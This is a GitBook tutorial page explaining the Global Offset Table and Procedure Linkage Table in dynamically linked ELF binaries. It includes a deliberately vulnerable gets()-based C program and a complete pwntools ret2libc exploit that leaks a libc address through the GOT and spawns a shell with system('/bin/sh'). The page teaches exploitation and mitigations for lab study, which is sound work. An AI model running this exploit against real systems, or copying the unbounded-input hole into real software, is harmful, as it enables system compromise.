> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/06.-got-plt.md).

# 0x0A — Global Offset Table (GOT) and Procedure Linkage Table (PLT)

## Overview

When a binary is compiled with dynamic linking, it doesn't embed the addresses of library functions (like `puts`, `system`, etc.) at compile time. Instead, it uses two special sections — the **GOT** and **PLT** — to resolve these addresses at runtime.

Understanding GOT and PLT is fundamental to most advanced binary exploitation techniques.

***

## What is the PLT (Procedure Linkage Table)?

The **PLT** is a section in the binary that contains small stubs of code. Every dynamically linked function has a corresponding PLT entry (e.g., `puts@plt`).

When your program calls `puts("hello")`, it actually calls `puts@plt` — the PLT stub.

### PLT Stub Structure

```
puts@plt:
    jmp  QWORD PTR [puts@got]   ; jump to address stored in GOT
    push 0x0                    ; reloc index (first call only)
    jmp  plt[0]                 ; call the dynamic linker (first call only)
```

On the **first call**, the GOT entry for `puts` points back into the PLT (to the push instruction), which eventually invokes the **dynamic linker (ld.so)** to resolve the real address. After resolution, the GOT entry is updated with the actual address of `puts` in libc.

***

## What is the GOT (Global Offset Table)?

The **GOT** is a writable section in memory that holds the **resolved runtime addresses** of dynamically linked functions and global variables.

* Before first call: GOT\[puts] → PLT stub (lazy binding)
* After first call: GOT\[puts] → actual `puts` address in libc

### GOT Layout (simplified)

```
GOT[0]  → address of .dynamic section
GOT[1]  → link_map pointer (set by ld.so)
GOT[2]  → _dl_runtime_resolve (set by ld.so)
GOT[3]  → resolved address of puts (after first call)
GOT[4]  → resolved address of printf
...
```

***

## Why Is This Important for Exploitation?

Because the **GOT is writable** and contains **function pointers**, it is a prime target for attackers:

1. **GOT Overwrite**: If an attacker can write an arbitrary address into a GOT entry, the next call to that function will redirect execution to attacker-controlled code.
2. **GOT Leak**: Since GOT holds libc addresses after resolution, reading a GOT entry leaks the runtime base address of libc — defeating ASLR.

***

## Viewing GOT and PLT with Tools

### Using `objdump`

```bash
# View PLT entries
objdump -d -j .plt ./vuln

# View GOT entries
objdump -R ./vuln

# View raw GOT section
objdump -d -j .got.plt ./vuln
```

### Using `pwntools`

```python
from pwn import *

elf = ELF('./vuln')

print(hex(elf.plt['puts']))    # address of puts@plt
print(hex(elf.got['puts']))    # address of puts@got (the pointer itself)
```

### Using `pwndbg` / GDB

```
gdb ./vuln
> got                    # shows all GOT entries
> plt                    # shows all PLT entries
> x/gx &puts@got.plt    # examine the GOT entry for puts
```

***

## Full Example: Leaking a libc Address via GOT

### Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln() {
    char buf[64];
    puts("Enter input:");
    gets(buf);
}

int main() {
    vuln();
    return 0;
}
```

Compile:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

### Exploit Strategy

1. Use a buffer overflow to call `puts(puts@got)` — this **prints the runtime address** of `puts` in libc.
2. Calculate libc base: `libc_base = leaked_puts - libc.symbols['puts']`
3. Calculate `system` address: `system_addr = libc_base + libc.symbols['system']`
4. Redirect execution to `system("/bin/sh")`

### Exploit Script (`exploit.py`)

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

# Gadget: pop rdi ; ret  (to set first argument)
pop_rdi = 0x00000000004011d3   # find with: ROPgadget --binary vuln | grep "pop rdi"
ret     = 0x000000000040101a   # simple ret gadget for stack alignment

payload  = b'A' * 72            # overflow buffer + saved RBP
payload += p64(pop_rdi)         # pop rdi; ret
payload += p64(elf.got['puts']) # rdi = &puts@GOT
payload += p64(elf.plt['puts']) # call puts → prints *(&puts@GOT) = libc address
payload += p64(elf.sym['main']) # return to main for second stage

p.sendlineafter(b'Enter input:\n', payload)

# Parse leaked address
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts @ {hex(leaked)}")

libc_base = leaked - libc.symbols['puts']
log.success(f"libc base  @ {hex(libc_base)}")

system_addr  = libc_base + libc.symbols['system']
binsh_addr   = libc_base + next(libc.search(b'/bin/sh'))

log.success(f"system()   @ {hex(system_addr)}")
log.success(f"/bin/sh    @ {hex(binsh_addr)}")

# Second stage: call system("/bin/sh")
payload2  = b'A' * 72
payload2 += p64(ret)          # stack alignment
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendlineafter(b'Enter input:\n', payload2)
p.interactive()
```

***

## GOT vs PLT — Quick Reference

| Feature      | PLT               | GOT                           |
| ------------ | ----------------- | ----------------------------- |
| Type         | Code (executable) | Data (writable)               |
| Contains     | Jump stubs        | Resolved function pointers    |
| Location     | `.plt` section    | `.got.plt` section            |
| Attacker use | Call as function  | Read (leak) or Write (hijack) |

***

## Key Takeaways

* **PLT** = trampoline stubs that redirect function calls through the GOT
* **GOT** = writable table of resolved library addresses
* GOT entries are filled lazily (on first call) unless compiled with `-z now` (full RELRO)
* With **Partial RELRO**: GOT is writable → GOT overwrite attack is possible
* With **Full RELRO**: GOT is read-only → must find another write target

***

## Protections & Mitigations

| Protection    | Effect on GOT/PLT exploitation     |
| ------------- | ---------------------------------- |
| Partial RELRO | GOT writable — overwrite possible  |
| Full RELRO    | GOT read-only — overwrite blocked  |
| ASLR          | Libc addresses randomized each run |
| PIE           | Binary base address randomized     |

Check protections with:

```bash
checksec --file=./vuln
```

***

## Further Reading

* `man ld.so`
* [How the ELF PLT/GOT Works](https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html)
* `readelf -r ./vuln` — shows relocation entries


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/06.-got-plt.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
